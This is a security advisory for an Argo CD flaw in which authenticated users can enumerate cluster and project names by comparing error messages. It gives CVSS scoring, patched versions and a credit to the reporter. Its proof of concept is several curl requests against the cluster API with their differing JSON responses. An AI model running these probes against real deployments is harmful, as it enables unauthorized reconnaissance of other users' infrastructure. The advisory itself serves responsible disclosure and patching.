CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
14.5%
It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:
$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization:
Bearer $token"
{"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎
$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati
on: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}
It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.
curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}
curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}
A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.3
v2.10.12
v2.9.17
If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions
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Credits
This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue